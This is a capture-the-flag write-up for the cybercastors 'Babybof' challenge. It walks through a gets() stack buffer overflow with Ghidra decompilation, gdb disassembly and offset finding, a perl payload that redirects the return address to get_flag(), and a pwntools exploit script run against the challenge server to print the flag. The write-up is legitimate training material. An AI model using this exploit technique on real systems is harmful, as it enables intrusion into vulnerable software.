Author: Lunga
nc chals20.cybercastors.com 14425
Open the binary with Ghidra and look at main()
void main(void)
{
char local_108 [256];
puts("Welcome to the cybercastors Babybof");
printf("Say your name: ");
gets(local_108);
return;
}
It's a buffer overflow, we just have to write more than 256 chars. We need to call this handy get_flag()
function:
void get_flag(void)
{
int iVar1;
FILE *__stream;
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
while( true ) {
iVar1 = fgetc(__stream);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
fclose(__stream);
/* WARNING: Subroutine does not return */
exit(0);
}
Here is the disassembly for both functions:
(gdb) disas main
Dump of assembler code for function main:
0x000000000040074d <+0>: push %rbp
0x000000000040074e <+1>: mov %rsp,%rbp
0x0000000000400751 <+4>: sub $0x100,%rsp
0x0000000000400758 <+11>: lea 0xc9(%rip),%rdi # 0x400828
0x000000000040075f <+18>: callq 0x400590 <puts@plt>
0x0000000000400764 <+23>: lea 0xe1(%rip),%rdi # 0x40084c
0x000000000040076b <+30>: mov $0x0,%eax
0x0000000000400770 <+35>: callq 0x4005b0 <printf@plt>
0x0000000000400775 <+40>: lea -0x100(%rbp),%rax
0x000000000040077c <+47>: mov %rax,%rdi
0x000000000040077f <+50>: mov $0x0,%eax
0x0000000000400784 <+55>: callq 0x4005d0 <gets@plt>
0x0000000000400789 <+60>: nop
0x000000000040078a <+61>: leaveq
0x000000000040078b <+62>: retq
End of assembler dump.
(gdb) disas get_flag
Dump of assembler code for function get_flag:
0x00000000004006e7 <+0>: push %rbp
0x00000000004006e8 <+1>: mov %rsp,%rbp
0x00000000004006eb <+4>: sub $0x10,%rsp
0x00000000004006ef <+8>: lea 0x122(%rip),%rsi # 0x400818
0x00000000004006f6 <+15>: lea 0x11d(%rip),%rdi # 0x40081a
0x00000000004006fd <+22>: callq 0x4005e0 <fopen@plt>
0x0000000000400702 <+27>: mov %rax,-0x8(%rbp)
0x0000000000400706 <+31>: cmpq $0x0,-0x8(%rbp)
0x000000000040070b <+36>: jne 0x400722 <get_flag+59>
0x000000000040070d <+38>: mov $0x1,%edi
0x0000000000400712 <+43>: callq 0x4005f0 <exit@plt>
0x0000000000400717 <+48>: movsbl -0x9(%rbp),%eax
0x000000000040071b <+52>: mov %eax,%edi
0x000000000040071d <+54>: callq 0x400580 <putchar@plt>
0x0000000000400722 <+59>: mov -0x8(%rbp),%rax
0x0000000000400726 <+63>: mov %rax,%rdi
0x0000000000400729 <+66>: callq 0x4005c0 <fgetc@plt>
0x000000000040072e <+71>: mov %al,-0x9(%rbp)
0x0000000000400731 <+74>: cmpb $0xff,-0x9(%rbp)
0x0000000000400735 <+78>: jne 0x400717 <get_flag+48>
0x0000000000400737 <+80>: mov -0x8(%rbp),%rax
0x000000000040073b <+84>: mov %rax,%rdi
0x000000000040073e <+87>: callq 0x4005a0 <fclose@plt>
0x0000000000400743 <+92>: mov $0x0,%edi
0x0000000000400748 <+97>: callq 0x4005f0 <exit@plt>
End of assembler dump.
(gdb) break *0x0000000000400789
Breakpoint 1 at 0x400789
(gdb) break *0x00000000004006e7
Breakpoint 2 at 0x4006e7
Create a rough overflow to see where the end of the input ends up:
root@kali:~/Downloads# perl -e 'print "A"x268' > payload
(gdb) run < payload
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Downloads/babybof < payload
Welcome to the cybercastors Babybof
Breakpoint 1, 0x0000000000400789 in main ()
(gdb) x/40wx $rsp+200
0x7fffffffe188: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe198: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1a8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1b8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1c8: 0x41414141 0x00007f00 0x00000000 0x00000000
0x7fffffffe1d8: 0xffffe2a8 0x00007fff 0x00040000 0x00000001
0x7fffffffe1e8: 0x0040074d 0x00000000 0x00000000 0x00000000
0x7fffffffe1f8: 0x7717f981 0x5ae6ba70 0x00400600 0x00000000
0x7fffffffe208: 0xffffe2a0 0x00007fff 0x00000000 0x00000000
0x7fffffffe218: 0x00000000 0x00000000 0xbb97f981 0xa519450f
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f0041414141 in ?? ()
(gdb)
Perfect, that ended up right in the middle of the return address. We need to overwrite the return address with the address of get_flag()
(0x00000000004006e7). So that will be 264 chars, plus the address of get_flag()
.
root@kali:~/Downloads# perl -e 'print "A"x264 . "\xe7\x06\x40\x00\x00\x00\x00\x00"' > payload && ./babybof < payload; echo $?
Welcome to the cybercastors Babybof
Say your name: 1
It's returning 1 because there is no flag.txt
to open. Create one, and the contents is printed out.
root@kali:~/Downloads# echo hello > flag.txt
root@kali:~/Downloads# perl -e 'print "A"x264 . "\xe7\x06\x40\x00\x00\x00\x00\x00"' > payload && ./babybof < payload; echo $?
Welcome to the cybercastors Babybof
Say your name: hello
0
Now that we have a POC working locally, code up the exploit for the remote server.
#!/usr/bin/env python3
from pwn import *
binary = ELF('./babybof')
get_flag = binary.symbols['get_flag']
print("get_flag: %x\n" % get_flag)
p = remote('chals20.cybercastors.com', 14425)
p.recvuntil('Say your name:')
payload = b'A' * 264
payload += p64(get_flag)
p.sendline(payload)
p.stream()
root@kali:~/Downloads# ./exploit.py
[*] '/root/Downloads/babybof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
get_flag: 4006e7
[+] Opening connection to chals20.cybercastors.com on port 14425: Done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe7^F@^@^@^@^@^@
castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}